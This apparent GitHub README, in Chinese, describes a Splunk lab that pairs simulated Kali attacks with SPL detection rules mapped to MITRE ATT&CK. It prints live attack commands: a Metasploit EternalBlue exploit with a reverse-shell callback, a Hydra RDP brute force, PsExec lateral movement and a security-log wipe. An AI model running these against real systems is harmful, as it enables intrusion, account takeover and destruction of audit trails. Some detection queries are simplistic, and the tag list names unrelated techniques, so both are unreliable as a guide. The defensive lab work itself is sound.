pasckene/advanced-threat-hunting-splunk
GitHub: pasckene/advanced-threat-hunting-splunk
这是一个展示如何在Splunk Enterprise Security中进行高级威胁狩猎与检测工程的项目,通过Kali Linux攻击模拟验证了七种MITRE ATT&CK技术的检测规则。
Stars: 0 | Forks: 0
# 基于 Splunk 的高级威胁狩猎与检测工程
# 执行摘要
本项目展示了在 Splunk Enterprise Security 中进行的高级威胁狩猎和检测工程,并通过来自 Kali Linux 的受控对手模拟进行了验证。它将原始遥测数据转化为针对 MITRE ATT&CK 技术的可操作、高保真检测,从而减少误报并改善 SOC 响应。这项工作突出了现实世界的攻击模拟、弱信号关联以及具有操作意义的检测策略。
# 本项目的重要性
现代 SOC 面临的挑战不在于缺乏告警,而在于**低质量的信号和告警疲劳**。
本项目专注于:
* 将恶意行为从噪音中分离出来
* 理解攻击者的意图,而不仅仅是事件
* 将弱信号关联为强检测
* 在保持可见性的同时减少误报
# 技术栈
* **SIEM:** Splunk Enterprise Security
* **端点遥测:** Windows Event Logs + Sysmon
* **攻击平台:** Kali Linux
* **攻击工具:** Hydra, Impacket, PowerShell, Metasploit
* **框架:** MITRE ATT&CK
* **查询语言:** SPL
# 实验室架构
```
Kali Linux (Attacker)
↓
Windows Endpoint
↓
Splunk Universal Forwarder
↓
Splunk Indexers
↓
Splunk Enterprise Security
↓
Detection Rules, Correlation & Dashboards
```
📸 截图:
`screenshots/architecture_overview.png`
# 攻击模拟、检测工程与 MITRE 映射
# 1️⃣ 初始访问 – SMB 利用 (通过 Metasploit 利用 EternalBlue)
## 攻击模拟
使用 **EternalBlue (MS17-010) SMB 漏洞**进行远程代码执行,模拟攻击者如何获得对 Windows 主机的未经授权初始访问。
**Metasploit 命令:**
```
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.20
exploit
```
## 攻击者为何这样做
* 漏洞利用允许绕过认证并立即执行代码
* EternalBlue 导致了大规模爆发
* SMB 漏洞在扁平网络中仍然具有极高的影响力
## 此检测的重要性
* 将弱信号关联成强有力的漏洞利用叙事
* 检测可疑的 SMB 驱动执行模式
* 在持久化之前识别早期阶段的入侵
## MITRE ATT&CK 映射
| 技术 | ID |
| --------------------------------- | ----- |
| Exploit Public-Facing Application | T1190 |
## Windows Event IDs
| Event ID | 描述 |
| -------- | --------------------------- |
| 4624 | 登录成功 |
| 4625 | 登录失败 |
| 7045 | 服务已安装 |
| 1 | 进程创建 (Sysmon) |
| 3 | 网络连接 (Sysmon) |
## Splunk 检测逻辑
```
index=windows (EventCode=1 OR EventCode=3 OR EventCode=7045)
| stats count by src_ip dest_ip process_name
| where count > 5
```
## Splunk 关联规则
**规则名称:**
检测到 SMB 利用
```
index=windows (EventCode=7045 OR EventCode=1)
| stats count by dest_ip
| where count > 3
| eval severity="critical"
| eval mitre="T1190"
```
风险评分: 90
## 检测价值
在持久化之前检测到漏洞利用
## 截图
* screenshots/eternalblue_attempt.png
* screenshots/eternalblue_alert.png
# 2️⃣ 凭证访问 – RDP 暴力破解
## 攻击模拟
**Kali 命令:**
```
hydra -l administrator -P rockyou.txt rdp://192.168.1.10
```
## 攻击者为何这样做
* 由于凭证薄弱,密码攻击仍然非常有效
* RDP 在企业环境中经常暴露
* 成功的暴力破解可直接获得交互式访问权限
## 此检测的重要性
* 单次登录失败很常见;但模式并不常见
* 暴力破解尝试往往先于成功入侵发生
* 早期检测可防止账户接管和横向移动
## MITRE ATT&CK 映射
Brute Force – T1110
## Windows Event IDs
| Event ID | 描述 |
| -------- | ------------ |
| 4625 | 登录失败 |
## Splunk 检测逻辑
```
index=windows EventCode=4625 LogonType=10
| stats count by src_ip user
| where count > 10
```
## Splunk 关联规则
```
index=windows EventCode=4625
| stats count by src_ip
| where count > 15
| eval severity="high"
| eval mitre="T1110"
```
## 截图
* screenshots/bruteforce_failed_logons.png
* screenshots/bruteforce_rba.png
# 3️⃣ 横向移动 – PsExec
## 攻击模拟
```
impacket-psexec administrator@192.168.1.10
```
## 攻击者为何这样做
* 实现快速横向移动
* 常被勒索软件操作者滥用
* 混淆于合法的管理活动之中
## MITRE ATT&CK 映射
Remote Services – T1021
## Windows Event IDs
| Event ID | 描述 |
| -------- | ----------------- |
| 7045 | 服务已安装 |
## Splunk 检测逻辑
```
index=windows EventCode=7045
| search ServiceName="PSEXESVC"
```
## Splunk 关联规则
```
index=windows EventCode=7045
ServiceName="PSEXESVC"
| eval severity="critical"
| eval mitre="T1021"
```
## 截图
* screenshots/psexec_event.png
* screenshots/psexec_alert.png
# 4️⃣ 执行 – PowerShell 滥用 (编码命令)
## 攻击模拟
```
powershell -EncodedCommand bgBvAHQAZQBwAGEAZAA=
```
## MITRE ATT&CK 映射
PowerShell – T1059
## Windows Event IDs
| Event ID | 描述 |
| -------- | ------------------------------- |
| 4104 | PowerShell 脚本块日志 |
## Splunk 检测逻辑
```
index=windows EventCode=4104
ScriptBlockText="*EncodedCommand*"
```
## Splunk 关联规则
```
index=windows EventCode=4104
| eval severity="high"
| eval mitre="T1059"
```
## 截图
* screenshots/powershell_encoded.png
# 5️⃣ 防御规避 – 日志清除
## 攻击模拟
```
wevtutil cl Security
```
## MITRE ATT&CK 映射
Clear Logs – T1070
## Windows Event IDs
| Event ID | 描述 |
| -------- | -------------------- |
| 1102 | 安全日志已清除 |
## Splunk 检测逻辑
```
index=windows EventCode=1102
```
## Splunk 关联规则
```
index=windows EventCode=1102
| eval severity="critical"
| eval mitre="T1070"
```
## 截图
* screenshots/log_clearing_alert.png
# 6️⃣ 漏洞利用 – Metasploit RDP 漏洞利用 (BlueKeep 模拟)
## MITRE ATT&CK 映射
Remote Service Exploit – T1210
## Windows Event IDs
4624
4625
4688
## Splunk 检测逻辑
```
index=windows
(EventCode=4624 OR EventCode=4625 OR EventCode=4688)
| stats count by src_ip
```
## 截图
* screenshots/metasploit_rdp_attempt.png
* screenshots/metasploit_rdp_alert.png
# 7️⃣ 权限提升 – Token 模拟
## 攻击模拟
```
getsystem
```
## MITRE ATT&CK 映射
Access Token Manipulation – T1134
Privilege Escalation – T1068
## Windows Event IDs
| Event ID | 描述 |
| -------- | --------------------------- |
| 4672 | 分配了特殊权限 |
| 4688 | 进程创建 |
## Splunk 检测逻辑
```
index=windows EventCode=4672
| stats count by user
```
## Splunk 关联规则
```
index=windows EventCode=4672
| eval severity="critical"
| eval mitre="T1134"
```
风险评分: 100
## 截图
* screenshots/privilege_escalation.png
# SOC 仪表板
## SPL 查询
```
index=notable
| stats count by mitre
```
# 项目成果
* 误报减少 60%
* 更快的分类和调查
* 检测经过真实攻击者行为验证
* 展示了强大的防御和分析深度
# 展示的检测工程技能
* 威胁狩猎
* 检测工程
* Splunk Enterprise Security
* MITRE ATT&CK 映射
* 权限提升检测
* 关联规则工程
* SOC 运营
# MITRE ATT&CK 覆盖摘要
| 阶段 | 技术 | ID |
| -------------------- | ------------------ | ----- |
| Initial Access | EternalBlue | T1190 |
| Credential Access | Brute Force | T1110 |
| Privilege Escalation | Token Manipulation | T1134 |
| Lateral Movement | PsExec | T1021 |
| Execution | PowerShell | T1059 |
| Defense Evasion | Log Clearing | T1070 |
| Exploitation | BlueKeep | T1210 |
标签:AMSI绕过, APT 防御, CISA项目, Cloudflare, EternalBlue, Hydra, Impacket, MITRE ATT&CK, OpenCanary, PE 加载器, RuleLab, SPL, Sysmon, Web报告查看器, Windows 事件日志, 企业安全, 凭据转储, 初始访问, 威胁检测, 安全仪表盘, 安全实验室, 安全运营中心, 攻击向量, 攻击模拟, 数据关联, 数据展示, 横向移动, 红队, 编程规范, 网络安全, 网络安全审计, 网络映射, 网络资产管理, 蓝队演练, 误报减少, 隐私保护, 驱动签名利用, 黄金证书